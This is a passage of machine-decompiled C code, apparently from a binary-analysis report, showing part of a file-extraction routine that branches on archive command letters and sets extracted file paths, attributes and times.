				signed int _t424;
				signed int _t425;
				signed int _t434;
				char _t436;
				char _t438;
				signed int _t439;
				signed int _t440;
				signed int _t462;
				signed int _t471;
				intOrPtr _t474;
				char _t481;
				signed int _t482;
				void* _t493;
				void* _t501;
				void* _t503;
				signed int _t513;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t533;
				signed int _t543;
				signed int _t545;
				signed int _t547;
				signed int _t549;
				signed char _t550;
				signed int _t553;
				void* _t558;
				signed int _t566;
				intOrPtr* _t577;
				intOrPtr _t579;
				signed int _t580;
				signed int _t590;
				intOrPtr _t593;
				signed int _t596;
				signed int _t605;
				signed int _t612;
				signed int _t614;
				signed int _t615;
				signed int _t617;
				signed int _t635;
				signed int _t636;
				void* _t643;
				void* _t644;
				signed int _t660;
				signed int _t671;
				intOrPtr _t672;
				void* _t674;
				signed int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t679;
				signed int _t685;
				intOrPtr _t687;
				signed int _t692;
				intOrPtr _t694;
				signed int _t697;
				signed int _t702;
				void* _t706;
				void* _t708;
				void* _t710;

				_t579 = __ecx;
				E0110E0E4(0x1121c8a, _t706);
				E0110E1C0();
				_t577 =  *((intOrPtr*)(_t706 + 8));
				_t670 = 0;
				_t687 = _t579;
				 *((intOrPtr*)(_t706 - 0x20)) = _t687;
				_t371 =  *( *(_t687 + 8) + 0x82f2) & 0x0000ffff;
				 *(_t706 - 0x18) = _t371;
				if( *((intOrPtr*)(_t706 + 0xc)) != 0) {
					L6:
					_t694 =  *((intOrPtr*)(_t577 + 0x21dc));
					__eflags = _t694 - 2;
					if(_t694 == 2) {
						 *(_t687 + 0x10f5) = _t670;
						__eflags =  *(_t577 + 0x32dc) - _t670;
						if(__eflags > 0) {
							L22:
							__eflags =  *(_t577 + 0x32e4) - _t670;
							if(__eflags > 0) {
								L26:
								_t580 =  *(_t687 + 8);
								__eflags =  *((intOrPtr*)(_t580 + 0x615c)) - _t670;
								if( *((intOrPtr*)(_t580 + 0x615c)) != _t670) {
									L29:
									 *(_t706 - 0x13) = _t670;
									_t35 = _t706 - 0x51a8; // -18856
									_t36 = _t706 - 0x13; // 0x7ed
									_t375 = E010F5E0A(_t577 + 0x2280, _t36, 6, _t670, _t35, 0x800);
									__eflags = _t375;
									_t376 = _t375 & 0xffffff00 | _t375 != 0x00000000;
									 *(_t706 - 0x12) = _t376;
									__eflags = _t376;
									if(_t376 != 0) {
										__eflags =  *(_t706 - 0x13);
										if( *(_t706 - 0x13) == 0) {
											__eflags = 0;
											 *((char*)(_t687 + 0xf1)) = 0;
										}
									}
									E010F205D(_t577);
									_push(0x800);
									_t43 = _t706 - 0x113c; // -2364
									_push(_t577 + 0x22a8);
									E010FB223();
									__eflags =  *((char*)(_t577 + 0x3373));
									 *(_t706 - 0x1c) = 1;
									if( *((char*)(_t577 + 0x3373)) == 0) {
										_t381 = E010F2147(_t577);
										__eflags = _t381;
										if(_t381 == 0) {
											_t550 =  *(_t687 + 8);
											__eflags = 1 -  *((intOrPtr*)(_t550 + 0x72bc));
											asm("sbb al, al");
											_t61 = _t706 - 0x12;
											 *_t61 =  *(_t706 - 0x12) &  !_t550;
											__eflags =  *_t61;
										}
									} else {
										_t553 =  *( *(_t687 + 8) + 0x72bc);
										__eflags = _t553 - 1;
										if(_t553 != 1) {
											__eflags =  *(_t706 - 0x13);
											if( *(_t706 - 0x13) == 0) {
												__eflags = _t553;
												 *(_t706 - 0x12) =  *(_t706 - 0x12) & (_t553 & 0xffffff00 | _t553 == 0x00000000) - 0x00000001;
												_push(0);
												_t54 = _t706 - 0x113c; // -2364
												_t558 = E010FBB74(_t54);
												_t660 =  *(_t687 + 8);
												__eflags =  *((intOrPtr*)(_t660 + 0x72bc)) - 1 - _t558;
												if( *((intOrPtr*)(_t660 + 0x72bc)) - 1 != _t558) {
													 *(_t706 - 0x12) = 0;
												} else {
													_t57 = _t706 - 0x113c; // -2364
													_push(1);
													E010FBB74(_t57);
												}
											}
										}
									}
									 *((char*)(_t687 + 0x5f)) =  *((intOrPtr*)(_t577 + 0x3319));
									 *((char*)(_t687 + 0x60)) = 0;
									asm("sbb eax, [ebx+0x32dc]");
									 *0x1122260( *((intOrPtr*)(_t577 + 0x6ca8)) -  *(_t577 + 0x32d8),  *((intOrPtr*)(_t577 + 0x6cac)), 0);
									 *((intOrPtr*)( *_t577 + 0x10))();
									_t671 = 0;
									_t387 = 0;
									 *(_t706 - 0xe) = 0;
									 *(_t706 - 0x24) = 0;
									__eflags =  *(_t706 - 0x12);
									if( *(_t706 - 0x12) != 0) {
										L43:
										_t697 =  *(_t706 - 0x18);
										_t590 =  *((intOrPtr*)( *(_t687 + 8) + 0x61f9));
										_t389 = 0x49;
										__eflags = _t590;
										if(_t590 == 0) {
											L45:
											_t390 = _t671;
											L46:
											__eflags = _t590;
											_t83 = _t706 - 0x113c; // -2364
											_t394 = L011012D1(_t590, _t83, (_t390 & 0xffffff00 | _t590 == 0x00000000) & 0x000000ff, _t390,  *(_t706 - 0x24)); // executed
											__eflags = _t394;
											if(__eflags == 0) {
												L219:
												_t395 = 0;
												L16:
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t706 - 0xc));
												return _t395;
											}
											_push(0x800);
											 *((intOrPtr*)(_t706 - 0x38)) = _t687 + 0x10f6;
											_t86 = _t706 - 0x113c; // -2364
											E010F8214(__eflags, _t577, _t86, _t687 + 0x10f6);
											__eflags =  *(_t706 - 0xe);
											if( *(_t706 - 0xe) != 0) {
												L50:
												 *(_t706 - 0xd) = 0;
												L51:
												_t400 =  *(_t687 + 8);
												_t593 = 0x45;
												__eflags =  *((char*)(_t400 + 0x6153));
												_t672 = 0x58;
												 *((intOrPtr*)(_t706 - 0x34)) = _t593;
												 *((intOrPtr*)(_t706 - 0x30)) = _t672;
												if( *((char*)(_t400 + 0x6153)) != 0) {
													L53:
													__eflags = _t697 - _t593;
													if(_t697 == _t593) {
														L55:
														_t97 = _t706 - 0x31a8; // -10664
														E010F7098(_t97);
														_push(0);
														_t98 = _t706 - 0x31a8; // -10664
														_t405 = E010FA406(_t97, _t672, __eflags, _t687 + 0x10f6, _t98);
														__eflags = _t405;
														if(_t405 == 0) {
															_t406 =  *(_t687 + 8);
															__eflags =  *((char*)(_t406 + 0x6153));
															_t109 = _t706 - 0xd;
															 *_t109 =  *(_t706 - 0xd) & (_t406 & 0xffffff00 |  *((char*)(_t406 + 0x6153)) != 0x00000000) - 0x00000001;
															__eflags =  *_t109;
															L61:
															_t111 = _t706 - 0x113c; // -2364
															_t410 = E010F7D45(_t111, _t577, _t111);
															__eflags = _t410;
															if(_t410 != 0) {
																while(1) {
																	__eflags =  *((char*)(_t577 + 0x331b));
																	if( *((char*)(_t577 + 0x331b)) == 0) {
																		goto L65;
																	}
																	_t116 = _t706 - 0x113c; // -2364
																	_t543 = E010F81E0(_t687, _t577);
																	__eflags = _t543;
																	if(_t543 == 0) {
																		 *((char*)(_t687 + 0x20f6)) = 1;
																		goto L219;
																	}
																	L65:
																	_t118 = _t706 - 0x13c; // 0x6c4
																	_t700 =  *(_t687 + 8) + 0x5024;
																	_t596 = 0x40;
																	memcpy(_t118,  *(_t687 + 8) + 0x5024, _t596 << 2);
																	_t710 = _t708 + 0xc;
																	asm("movsw");
																	_t121 = _t706 - 0x28; // 0x7d8
																	_t687 =  *((intOrPtr*)(_t706 - 0x20));
																	 *(_t706 - 4) = 0;
																	asm("sbb ecx, ecx");
																	_t128 = _t706 - 0x13c; // 0x6c4
																	E010FC8D1(_t687 + 0x10, 0,  *((intOrPtr*)(_t577 + 0x331c)), _t128,  ~( *(_t577 + 0x3320) & 0x000000ff) & _t577 + 0x00003321, _t577 + 0x3331,  *((intOrPtr*)(_t577 + 0x336c)), _t577 + 0x334b, _t121);
																	__eflags =  *((char*)(_t577 + 0x331b));
																	if( *((char*)(_t577 + 0x331b)) == 0) {
																		L73:
																		 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																		_t147 = _t706 - 0x13c; // 0x6c4
																		L010FE9F4(_t147);
																		_t148 = _t706 - 0x2160; // -6496
																		E010F95B6(_t148);
																		_t420 =  *(_t577 + 0x3380);
																		 *(_t706 - 4) = 1;
																		 *(_t706 - 0x2c) = _t420;
																		_t674 = 0x50;
																		__eflags = _t420;
																		if(_t420 == 0) {
																			L83:
																			_t421 = E010F2147(_t577);
																			__eflags = _t421;
																			if(_t421 == 0) {
																				_t605 =  *(_t706 - 0xd);
																				__eflags = _t605;
																				if(_t605 == 0) {
																					_t700 =  *(_t706 - 0x18);
																					L96:
																					__eflags =  *((char*)(_t577 + 0x6cb4));
																					if( *((char*)(_t577 + 0x6cb4)) == 0) {
																						__eflags = _t605;
																						if(_t605 == 0) {
																							L212:
																							 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																							_t359 = _t706 - 0x2160; // -6496
																							E010F95E8(_t359, _t700);
																							__eflags =  *(_t706 - 0x12);
																							_t387 =  *(_t706 - 0xd);
																							_t675 =  *(_t706 - 0xe);
																							if( *(_t706 - 0x12) != 0) {
																								_t363 = _t687 + 0xec;
																								 *_t363 =  *(_t687 + 0xec) + 1;
																								__eflags =  *_t363;
																							}
																							L214:
																							__eflags =  *((char*)(_t687 + 0x60));
																							if( *((char*)(_t687 + 0x60)) != 0) {
																								goto L219;
																							}
																							__eflags = _t387;
																							if(_t387 != 0) {
																								L15:
																								_t395 = 1;
																								goto L16;
																							}
																							__eflags =  *((intOrPtr*)(_t577 + 0x6cb4)) - _t387;
																							if( *((intOrPtr*)(_t577 + 0x6cb4)) != _t387) {
																								__eflags = _t675;
																								if(_t675 != 0) {
																									goto L15;
																								}
																								goto L219;
																							}
																							L217:
																							E010F1F0A(_t577);
																							goto L15;
																						}
																						L101:
																						_t424 =  *(_t687 + 8);
																						__eflags =  *((char*)(_t424 + 0x61f9));
																						if( *((char*)(_t424 + 0x61f9)) == 0) {
																							L103:
																							_t425 =  *(_t706 - 0xe);
																							__eflags = _t425;
																							if(_t425 != 0) {
																								L108:
																								 *((char*)(_t706 - 0x11)) = 1;
																								__eflags = _t425;
																								if(_t425 != 0) {
																									L110:
																									 *((intOrPtr*)(_t687 + 0xe8)) =  *((intOrPtr*)(_t687 + 0xe8)) + 1;
																									 *((intOrPtr*)(_t687 + 0x80)) = 0;
																									 *((intOrPtr*)(_t687 + 0x84)) = 0;
																									 *((intOrPtr*)(_t687 + 0x88)) = 0;
																									 *((intOrPtr*)(_t687 + 0x8c)) = 0;
																									E010FA9C8(_t687 + 0xc8, _t674,  *((intOrPtr*)(_t577 + 0x32f0)),  *((intOrPtr*)( *(_t687 + 8) + 0x82d8))); // executed
																									E010FA9C8(_t687 + 0xa0, _t674,  *((intOrPtr*)(_t577 + 0x32f0)),  *((intOrPtr*)( *(_t687 + 8) + 0x82d8)));
																									_t700 = _t687 + 0x10;
																									 *(_t687 + 0x30) =  *(_t577 + 0x32d8);
																									_t218 = _t706 - 0x2160; // -6496
																									 *(_t687 + 0x34) =  *(_t577 + 0x32dc);
																									E010FC919(_t700, _t577, _t218);
																									_t676 =  *((intOrPtr*)(_t706 - 0x11));
																									_t612 = 0;
																									_t434 =  *(_t706 - 0xe);
																									 *((char*)(_t687 + 0x39)) = _t676;
																									 *((char*)(_t687 + 0x3a)) = _t434;
																									 *(_t706 - 0x24) = 0;
																									 *(_t706 - 0x1c) = 0;
																									__eflags = _t676;
																									if(_t676 != 0) {
																										L127:
																										_t677 =  *(_t687 + 8);
																										__eflags =  *((char*)(_t677 + 0x6198));
																										 *((char*)(_t706 - 0x214d)) =  *((char*)(_t677 + 0x6198)) == 0;
																										__eflags =  *((char*)(_t706 - 0x11));
																										if( *((char*)(_t706 - 0x11)) != 0) {
																											L131:
																											_t436 = 1;
																											__eflags = 1;
																											L132:
																											__eflags =  *(_t706 - 0x2c);
																											 *((char*)(_t706 - 0x10)) = _t612;
																											 *((char*)(_t706 - 0x14)) = _t436;
																											 *((char*)(_t706 - 0xf)) = _t436;
																											if( *(_t706 - 0x2c) == 0) {
																												__eflags =  *(_t577 + 0x3318);
																												if( *(_t577 + 0x3318) == 0) {
																													__eflags =  *((char*)(_t577 + 0x22a0));
																													if(__eflags != 0) {
																														E01102BB2(_t577,  *((intOrPtr*)(_t687 + 0xe0)), _t706,  *((intOrPtr*)(_t577 + 0x3374)),  *(_t577 + 0x3370) & 0x000000ff);
																														_t474 =  *((intOrPtr*)(_t687 + 0xe0));
																														 *(_t474 + 0x4c48) =  *(_t577 + 0x32e0);
																														__eflags = 0;
																														 *(_t474 + 0x4c4c) =  *(_t577 + 0x32e4);
																														 *((char*)(_t474 + 0x4c60)) = 0;
																														E01102861( *((intOrPtr*)(_t687 + 0xe0)),  *((intOrPtr*)(_t577 + 0x229c)),  *(_t577 + 0x3370) & 0x000000ff); // executed
																													} else {
																														_push( *(_t577 + 0x32e4));
																														_push( *(_t577 + 0x32e0));
																														_push(_t700);
																														E010F9283(_t577, _t677, _t687, __eflags);
																													}
																												}
																												L163:
																												E010F1F0A(_t577);
																												__eflags =  *((char*)(_t577 + 0x3319));
																												if( *((char*)(_t577 + 0x3319)) != 0) {
																													L166:
																													_t438 = 0;
																													__eflags = 0;
																													_t614 = 0;
																													L167:
																													__eflags =  *(_t577 + 0x3370);
																													if( *(_t577 + 0x3370) != 0) {
																														__eflags =  *((char*)(_t577 + 0x22a0));
																														if( *((char*)(_t577 + 0x22a0)) == 0) {
																															L175:
																															__eflags =  *(_t706 - 0xe);
																															 *((char*)(_t706 - 0x10)) = _t438;
																															if( *(_t706 - 0xe) != 0) {
																																L185:
																																__eflags =  *(_t706 - 0x2c);
																																_t678 =  *((intOrPtr*)(_t706 - 0xf));
																																if( *(_t706 - 0x2c) == 0) {
																																	L189:
																																	_t615 = 0;
																																	__eflags = 0;
																																	L190:
																																	__eflags =  *((char*)(_t706 - 0x11));
																																	if( *((char*)(_t706 - 0x11)) != 0) {
																																		goto L212;
																																	}
																																	_t700 =  *(_t706 - 0x18);
																																	__eflags = _t700 -  *((intOrPtr*)(_t706 - 0x30));
																																	if(_t700 ==  *((intOrPtr*)(_t706 - 0x30))) {
																																		L193:
																																		__eflags =  *(_t706 - 0x2c);
																																		if( *(_t706 - 0x2c) == 0) {
																																			L197:
																																			__eflags = _t438;
																																			if(_t438 == 0) {
																																				L200:
																																				__eflags = _t615;
																																				if(_t615 != 0) {
																																					L208:
																																					_t439 =  *(_t687 + 8);
																																					__eflags =  *((char*)(_t439 + 0x61a0));
																																					if( *((char*)(_t439 + 0x61a0)) == 0) {
																																						_t700 = _t687 + 0x10f6;
																																						_t440 = E010FA384(_t687 + 0x10f6,  *((intOrPtr*)(_t577 + 0x22a4))); // executed
																																						__eflags = _t440;
																																						if(__eflags == 0) {
																																							E010F7032(__eflags, 0x11, _t577 + 0x1e, _t700);
																																						}
																																					}
																																					 *(_t687 + 0x10f5) = 1;
																																					goto L212;
																																				}
																																				_t679 =  *(_t706 - 0x1c);
																																				__eflags = _t679;
																																				_t617 =  *(_t706 - 0x24);
																																				if(_t679 > 0) {
																																					L203:
																																					__eflags = _t438;
																																					if(_t438 != 0) {
																																						L206:
																																						_t332 = _t706 - 0x2160; // -6496
																																						E010F9DFF(_t332);
																																						L207:
																																						_t700 = _t577 + 0x32d0;
																																						_t692 = _t577 + 0x32c0;
																																						asm("sbb eax, eax");
																																						asm("sbb ecx, ecx");
																																						asm("sbb eax, eax");
																																						_t340 = _t706 - 0x2160; // -6496
																																						E010F9CA2(_t340, _t577 + 0x32d0,  ~( *( *(_t687 + 8) + 0x72c8)) & _t692,  ~( *( *(_t687 + 8) + 0x72cc)) & _t577 + 0x000032c8,  ~( *( *(_t687 + 8) + 0x72d0)) & _t577 + 0x000032d0);
																																						_t341 = _t706 - 0x2160; // -6496
																																						E010F9670(_t341);
																																						E010F7BAA( *((intOrPtr*)(_t706 - 0x20)),  *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)), _t577,  *((intOrPtr*)(_t706 - 0x38)));
																																						asm("sbb eax, eax");
																																						asm("sbb eax, eax");
																																						__eflags =  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692;
																																						E010F9C9F( ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t692,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72d0)) & _t577 + 0x000032d0);
																																						_t687 =  *((intOrPtr*)(_t706 - 0x20));
																																						goto L208;
																																					}
																																					__eflags =  *((intOrPtr*)(_t687 + 0x88)) - _t617;
																																					if( *((intOrPtr*)(_t687 + 0x88)) != _t617) {
																																						goto L206;
																																					}
																																					__eflags =  *((intOrPtr*)(_t687 + 0x8c)) - _t679;
																																					if( *((intOrPtr*)(_t687 + 0x8c)) == _t679) {
																																						goto L207;
																																					}
																																					goto L206;
																																				}
																																				__eflags = _t617;
																																				if(_t617 == 0) {
																																					goto L207;
																																				}
																																				goto L203;
																																			}
																																			_t462 =  *(_t687 + 8);
																																			__eflags =  *((char*)(_t462 + 0x6198));
																																			if( *((char*)(_t462 + 0x6198)) == 0) {
																																				goto L212;
																																			}
																																			_t438 =  *((intOrPtr*)(_t706 - 0x10));
																																			goto L200;
																																		}
																																		__eflags = _t615;
																																		if(_t615 != 0) {
																																			goto L197;
																																		}
																																		__eflags =  *(_t577 + 0x3380) - 5;
																																		if( *(_t577 + 0x3380) != 5) {
																																			goto L212;
																																		}
																																		__eflags = _t678;
																																		if(_t678 == 0) {
																																			goto L212;
																																		}
																																		goto L197;
																																	}
																																	__eflags = _t700 -  *((intOrPtr*)(_t706 - 0x34));
																																	if(_t700 !=  *((intOrPtr*)(_t706 - 0x34))) {
																																		goto L212;
																																	}
																																	goto L193;
																																}
																																__eflags =  *(_t577 + 0x3380) - 4;
																																if( *(_t577 + 0x3380) != 4) {
																																	goto L189;
																																}
																																__eflags = _t678;
																																if(_t678 == 0) {
																																	goto L189;
																																}
																																_t615 = 1;
																																goto L190;
																															}
																															__eflags =  *((char*)(_t706 - 0x14));
																															if( *((char*)(_t706 - 0x14)) == 0) {
																																goto L185;
																															}
																															__eflags = _t614;
																															if(_t614 != 0) {
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t577 + 0x331b)) - _t614;
																															if(__eflags == 0) {
																																L183:
																																_t312 = _t706 - 0x113c; // -2364
																																_push(_t577 + 0x1e);
																																_push(3);
																																L184:
																																E010F7032(__eflags);
																																 *((char*)(_t706 - 0x10)) = 1;
																																E010F6F5B(0x112ff50, 3);
																																_t438 =  *((intOrPtr*)(_t706 - 0x10));
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t577 + 0x3341)) - _t614;
																															if( *((intOrPtr*)(_t577 + 0x3341)) == _t614) {
																																L181:
																																__eflags =  *((char*)(_t687 + 0xf3));
																																if(__eflags != 0) {
																																	goto L183;
																																}
																																_t310 = _t706 - 0x113c; // -2364
																																_push(_t577 + 0x1e);
																																_push(4);
																																goto L184;
																															}
																															__eflags =  *(_t577 + 0x6cc4) - _t614;
																															if(__eflags == 0) {
																																goto L183;
																															}
																															goto L181;
																														}
																														__eflags =  *(_t577 + 0x32e4) - _t438;
																														if(__eflags < 0) {
																															goto L175;
																														}
																														if(__eflags > 0) {
																															L173:
																															__eflags = _t614;
																															if(_t614 != 0) {
																																 *((char*)(_t687 + 0xf3)) = 1;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t577 + 0x32e0) - _t438;
																														if( *(_t577 + 0x32e0) <= _t438) {
																															goto L175;
																														}
																														goto L173;
																													}
																													 *((char*)(_t687 + 0xf3)) = _t438;
																													goto L175;
																												}
																												asm("sbb edx, edx");
																												_t471 = E010FA996(_t687 + 0xc8, _t687, _t577 + 0x32f0,  ~( *(_t577 + 0x334a) & 0x000000ff) & _t577 + 0x0000334b);
																												__eflags = _t471;
																												if(_t471 == 0) {
																													goto L166;
																												}
																												_t614 = 1;
																												_t438 = 0;
																												goto L167;
																											}
																											_t700 =  *(_t577 + 0x3380);
																											__eflags = _t700 - 4;
																											if(__eflags == 0) {
																												L146:
																												_push(0x800);
																												_t263 = _t706 - 0x41a8; // -14760
																												E010F8214(__eflags, _t577, _t577 + 0x3384, _t263);
																												_t612 =  *((intOrPtr*)(_t706 - 0x10));
																												__eflags = _t612;
																												if(_t612 == 0) {
																													L153:
																													_t481 =  *((intOrPtr*)(_t706 - 0xf));
																													L154:
																													__eflags =  *((intOrPtr*)(_t577 + 0x6cb0)) - 2;
																													if( *((intOrPtr*)(_t577 + 0x6cb0)) != 2) {
																														L141:
																														__eflags = _t612;
																														if(_t612 == 0) {
																															L157:
																															_t482 = 0;
																															__eflags = 0;
																															L158:
																															 *(_t687 + 0x10f5) = _t482;
																															goto L163;
																														}
																														L142:
																														__eflags = _t481;
																														if(_t481 == 0) {
																															goto L157;
																														}
																														_t482 = 1;
																														goto L158;
																													}
																													__eflags = _t612;
																													if(_t612 != 0) {
																														goto L142;
																													}
																													L140:
																													 *((char*)(_t706 - 0x14)) = 0;
																													goto L141;
																												}
																												__eflags =  *((short*)(_t706 - 0x41a8));
																												if( *((short*)(_t706 - 0x41a8)) == 0) {
																													goto L153;
																												}
																												_t267 = _t706 - 0x41a8; // -14760
																												_push(0x800);
																												_push(_t687 + 0x10f6);
																												__eflags = _t700 - 4;
																												if(__eflags != 0) {
																													_push(_t577 + 0x1e);
																													_t270 = _t706 - 0x2160; // -6496
																													_t481 = E010F91C1(_t677, _t687, _t700, __eflags);
																												} else {
																													_t481 = E010F7671(_t612, __eflags);
																												}
																												L151:
																												 *((char*)(_t706 - 0xf)) = _t481;
																												__eflags = _t481;
																												if(_t481 == 0) {
																													L139:
																													_t612 =  *((intOrPtr*)(_t706 - 0x10));
																													goto L140;
																												}
																												_t612 =  *((intOrPtr*)(_t706 - 0x10));
																												goto L154;
																											}
																											__eflags = _t700 - 5;
																											if(__eflags == 0) {
																												goto L146;
																											}
																											__eflags = _t700 - _t436;
																											if(_t700 == _t436) {
																												L144:
																												__eflags = _t612;
																												if(_t612 == 0) {
																													goto L153;
																												}
																												_push(_t687 + 0x10f6);
																												_t481 = E010F78E0(_t677, _t687 + 0x10, _t577);
																												goto L151;
																											}
																											__eflags = _t700 - 2;
																											if(_t700 == 2) {
																												goto L144;
																											}
																											__eflags = _t700 - 3;
																											if(__eflags == 0) {
																												goto L144;
																											}
																											E010F7032(__eflags, 0x47, _t577 + 0x1e, _t687 + 0x10f6);
																											__eflags = 0;
																											_t481 = 0;
																											 *((char*)(_t706 - 0xf)) = 0;
																											goto L139;
																										}
																										__eflags = _t434;
																										if(_t434 != 0) {
																											goto L131;
																										}
																										_t493 = 0x50;
																										__eflags =  *(_t706 - 0x18) - _t493;
																										if( *(_t706 - 0x18) == _t493) {
																											goto L131;
																										}
																										_t436 = 1;
																										_t612 = 1;
																										goto L132;
																									}
																									__eflags =  *(_t577 + 0x6cc4);
																									if( *(_t577 + 0x6cc4) != 0) {
																										goto L127;
																									}
																									_t702 =  *(_t577 + 0x32e4);
																									_t685 =  *(_t577 + 0x32e0);
																									__eflags = _t702;
																									if(__eflags < 0) {
																										L126:
																										_t700 = _t687 + 0x10;
																										goto L127;
																									}
																									if(__eflags > 0) {
																										L115:
																										_t635 =  *(_t577 + 0x32d8);
																										_t636 = _t635 << 0xa;
																										__eflags = ( *(_t577 + 0x32dc) << 0x00000020 | _t635) << 0xa - _t702;
																										if(__eflags < 0) {
																											L125:
																											_t434 =  *(_t706 - 0xe);
																											_t612 = 0;
																											__eflags = 0;
																											goto L126;
																										}
																										if(__eflags > 0) {
																											L118:
																											__eflags = _t702;
																											if(__eflags < 0) {
																												L124:
																												_t238 = _t706 - 0x2160; // -6496
																												E010F9ABD(_t238,  *(_t577 + 0x32e0),  *(_t577 + 0x32e4));
																												 *(_t706 - 0x24) =  *(_t577 + 0x32e0);
																												 *(_t706 - 0x1c) =  *(_t577 + 0x32e4);
																												goto L125;
																											}
																											if(__eflags > 0) {
																												L121:
																												_t501 = E010F9885(_t685);
																												__eflags = _t685 -  *(_t577 + 0x32dc);
																												if(__eflags < 0) {
																													goto L125;
																												}
																												if(__eflags > 0) {
																													goto L124;
																												}
																												__eflags = _t501 -  *(_t577 + 0x32d8);
																												if(_t501 <=  *(_t577 + 0x32d8)) {
																													goto L125;
																												}
																												goto L124;
																											}
																											__eflags = _t685 - 0x5f5e100;
																											if(_t685 < 0x5f5e100) {
																												goto L124;
																											}
																											goto L121;
																										}
																										__eflags = _t636 - _t685;
																										if(_t636 <= _t685) {
																											goto L125;
																										}
																										goto L118;
																									}
																									__eflags = _t685 - 0xf4240;
																									if(_t685 <= 0xf4240) {
																										goto L126;
																									}
																									goto L115;
																								}
																								L109:
																								_t199 = _t687 + 0xe4;
																								 *_t199 =  *(_t687 + 0xe4) + 1;
																								__eflags =  *_t199;
																								goto L110;
																							}
																							 *((char*)(_t706 - 0x11)) = 0;
																							_t503 = 0x50;
																							__eflags = _t700 - _t503;
																							if(_t700 != _t503) {
																								_t193 = _t706 - 0x2160; // -6496
																								__eflags = E010F9929(_t193);
																								if(__eflags != 0) {
																									E010F7032(__eflags, 0x3b, _t577 + 0x1e, _t687 + 0x10f6);
																									E010F6FF6(0x112ff50, _t706, _t577 + 0x1e, _t687 + 0x10f6);
																								}
																							}
																							goto L109;
																						}
																						 *(_t687 + 0x10f5) = 1;
																						__eflags =  *((char*)(_t424 + 0x61f9));
																						if( *((char*)(_t424 + 0x61f9)) != 0) {
																							_t425 =  *(_t706 - 0xe);
																							goto L108;
																						}
																						goto L103;
																					}
																					 *(_t706 - 0xe) = 1;
																					 *(_t706 - 0xd) = 1;
																					_t183 = _t706 - 0x113c; // -2364
																					_t513 = L011012D1(_t605, _t183, 0, 0, 1);
																					__eflags = _t513;
																					if(_t513 != 0) {
																						goto L101;
																					}
																					__eflags = 0;
																					 *(_t706 - 0x1c) = 0;
																					L99:
																					_t185 = _t706 - 0x2160; // -6496
																					E010F95E8(_t185, _t700);
																					_t395 =  *(_t706 - 0x1c);
																					goto L16;
																				}
																				_t175 = _t706 - 0x2160; // -6496
																				_push(_t577);
																				_t517 = E010F80C2(_t687);
																				_t700 =  *(_t706 - 0x18);
																				_t605 = _t517;
																				 *(_t706 - 0xd) = _t605;
																				L93:
																				__eflags = _t605;
																				if(_t605 != 0) {
																					goto L101;
																				}
																				goto L96;
																			}
																			__eflags =  *(_t706 - 0xd);
																			if( *(_t706 - 0xd) != 0) {
																				_t518 =  *(_t706 - 0x18);
																				__eflags = _t518 - 0x50;
																				if(_t518 != 0x50) {
																					_t643 = 0x49;
																					__eflags = _t518 - _t643;
																					if(_t518 != _t643) {
																						_t644 = 0x45;
																						__eflags = _t518 - _t644;
																						if(_t518 != _t644) {
																							_t519 =  *(_t687 + 8);
																							__eflags =  *((intOrPtr*)(_t519 + 0x6158)) - 1;
																							if( *((intOrPtr*)(_t519 + 0x6158)) != 1) {
																								 *(_t687 + 0xe4) =  *(_t687 + 0xe4) + 1;
																								_t173 = _t706 - 0x113c; // -2364
																								_push(_t577);
																								E010F7EFE(_t687);
																							}
																						}
																					}
																				}
																			}
																			goto L99;
																		}
																		__eflags = _t420 - 5;
																		if(_t420 == 5) {
																			goto L83;
																		}
																		_t605 =  *(_t706 - 0xd);
																		_t700 =  *(_t706 - 0x18);
																		__eflags = _t605;
																		if(_t605 == 0) {
																			goto L96;
																		}
																		__eflags = _t700 - _t674;
																		if(_t700 == _t674) {
																			goto L93;
																		}
																		_t522 =  *(_t687 + 8);
																		__eflags =  *((char*)(_t522 + 0x61f9));
																		if( *((char*)(_t522 + 0x61f9)) != 0) {
																			goto L93;
																		}
																		 *((char*)(_t706 - 0x11)) = 0;
																		_t525 = E010FA0C0(_t687 + 0x10f6);
																		__eflags = _t525;
																		if(_t525 == 0) {
																			L81:
																			__eflags =  *((char*)(_t706 - 0x11));
																			if( *((char*)(_t706 - 0x11)) == 0) {
																				_t605 =  *(_t706 - 0xd);
																				goto L93;
																			}
																			L82:
																			_t605 = 0;
																			 *(_t706 - 0xd) = 0;
																			goto L93;
																		}
																		__eflags =  *((char*)(_t706 - 0x11));
																		if( *((char*)(_t706 - 0x11)) != 0) {
																			goto L82;
																		}
																		__eflags = 0;
																		_push(0);
																		_push(_t577 + 0x32c0);
																		_t161 = _t706 - 0x11; // 0x7ef
																		E010F9314(0,  *(_t687 + 8), 0, _t687 + 0x10f6, 0x800, _t161,  *(_t577 + 0x32e0),  *(_t577 + 0x32e4));
																		goto L81;
																	}
																	__eflags =  *((char*)(_t577 + 0x3341));
																	if( *((char*)(_t577 + 0x3341)) == 0) {
																		goto L73;
																	}
																	_t133 = _t706 - 0x28; // 0x7d8
																	_t533 = E0110FC4A(_t577 + 0x3342, _t133, 8);
																	_t708 = _t710 + 0xc;
																	__eflags = _t533;
																	if(_t533 == 0) {
																		goto L73;
																	}
																	__eflags =  *(_t577 + 0x6cc4);
																	if( *(_t577 + 0x6cc4) != 0) {
																		goto L73;
																	}
																	__eflags =  *((char*)(_t687 + 0x10f4));
																	_t137 = _t706 - 0x113c; // -2364
																	_push(_t577 + 0x1e);
																	if(__eflags != 0) {
																		_push(6);
																		E010F7032(__eflags);
																		E010F6F5B(0x112ff50, 0xb);
																		__eflags = 0;
																		 *(_t706 - 0xd) = 0;
																		goto L73;
																	}
																	_push(0x7d);
																	E010F7032(__eflags);
																	E010FEA67( *(_t687 + 8) + 0x5024);
